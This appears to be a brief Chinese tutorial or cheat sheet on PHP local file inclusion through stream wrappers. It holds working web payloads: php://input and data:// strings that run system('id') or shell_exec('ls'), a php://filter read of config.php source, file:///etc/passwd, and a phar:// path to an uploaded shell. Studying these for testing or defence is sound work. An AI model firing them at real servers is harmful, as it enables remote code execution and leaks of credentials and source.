php文件包含与伪协议
PHP伪协议是一种在PHP中用于快速读取文件或访问资源的特殊协议。它通常以file://
、php://
、zlib://
、data://
等形式出现,允许开发者通过简单的语法直接操作文件或数据流,而无需复杂的文件操作函数。
php伪协议利用:
php伪协议允许通过特定封装器访问资源,常用于绕过限制
1.常用伪协议:
php://input
条件 allow_url_include=On
作用:读取POST请求原始数据并执行
POST /?page=php://input HTTP/1.1
...
<?php system('id'); ?>
php://filer
条件:无需特殊配置
作用:读取文件源码(如php文件需要编码避免执行)
?file=php://filter/read=convert.base64-encode/resource=config.php
(获取Base64编码后的源码)。
data://
条件:allow_url_include=On
作用:直接执行代码或包含外部数据
?page=data://text/plain,<?php echo shell_exec('ls');?>或?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
file://
直接访问本地文件,?file=file:///etc/passwd
phar://
解压ZIP/JAR等归档文件并执行内部PHP代码,上传ZIP文件(shell.php),包含phar://uploads/evil.zip/shell.php